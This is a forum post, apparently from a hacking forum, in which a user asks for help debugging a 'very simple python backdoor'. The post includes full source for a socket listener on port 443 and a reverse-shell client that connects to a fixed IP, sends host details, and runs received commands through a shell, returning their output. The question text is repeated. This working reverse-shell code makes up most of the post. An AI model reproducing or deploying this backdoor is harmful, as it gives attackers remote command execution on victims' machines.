Python Backdoor problem 04-20-2013, 04:11 PM
#1
Hey guys, for the last 2 days im working on a very simple python backdoor and I got some serious problems;D
-Any help is appreciated
So, it is 2 parts. First part the server(or socket listener, call it as u want) and second the shell(the running on the background cmd that we have access to when the shell is opened).
Code for listener:
Code for the shell:
Allright heres my problems:
When I open the listener and then the shell (I both test them on 1 pc for now) I dont have any problems... This is the output that I get on cmd:
"C:\Users\user\Documents> " and after the ">" I can type my commands.
But when I use commands that have "long" output like "tasklist" cmd prints only the first 10 lines, and in order to print the others i need to press ENTER again and again until its done.
Thats the first problem,
The second it that within the listener when I send commands like " cd C:\Users\user\Desktop " the cmd simply crashes and have no idea why this is happening...
Like I said any help appriciated;p
-Any help is appreciated
So, it is 2 parts. First part the server(or socket listener, call it as u want) and second the shell(the running on the background cmd that we have access to when the shell is opened).
Code for listener:
Code:
import socket
import os
import platform, getpass
# public variables
System_Info = {'Filepath' : 'Unknown_filepath|>',
'OperationSystem' : 'Unknown_OS',
'SystemUsername' : 'Uknown_sys_username'}
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('0.0.0.0', 443))
c.listen(1)
s,a = c.accept()
while True:
# receive DATA
data = s.recv(1024)
if data.startswith('C:'):
System_Info['Filepath'] = str(data) + '>'
#
print data
nextcmd = raw_input(System_Info['Filepath'])
if nextcmd == "/clear":
os.system('CLS')
nextcmd = "whoami"
# send that shit
s.send(nextcmd)Code for the shell:
Code:
#!/usr/bin/python
import subprocess, socket
import os, sys
import platform, getpass
HOST = '192.168.1.2'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# public variables
filepath2 = os.path.dirname(sys.argv[0])
filepath1 = os.path.abspath(filepath2)
OperationSystem = platform.system(), platform.release(), platform.version()
Remote_ip = socket.gethostbyname(socket.gethostname())
# s.send(filepath1)
# s.send(str(OperationSystem))
# s.send(Remote_ip)
print filepath1, OperationSystem, Remote_ip
s.send(filepath1)
while 1:
data = s.recv(1024)
if data == "quit": break
if data == "/user":
user = getpass.getuser()
s.send(str(user))
else:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
#exit the loop
s.send('Bye now!')
s.close()Allright heres my problems:
When I open the listener and then the shell (I both test them on 1 pc for now) I dont have any problems... This is the output that I get on cmd:
"C:\Users\user\Documents> " and after the ">" I can type my commands.
But when I use commands that have "long" output like "tasklist" cmd prints only the first 10 lines, and in order to print the others i need to press ENTER again and again until its done.
Thats the first problem,
The second it that within the listener when I send commands like " cd C:\Users\user\Desktop " the cmd simply crashes and have no idea why this is happening...
Like I said any help appriciated;p





![[Image: Animated-Flag-Greece.gif]](http://images.wikia.com/merlin1/images/e/eb/Animated-Flag-Greece.gif)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)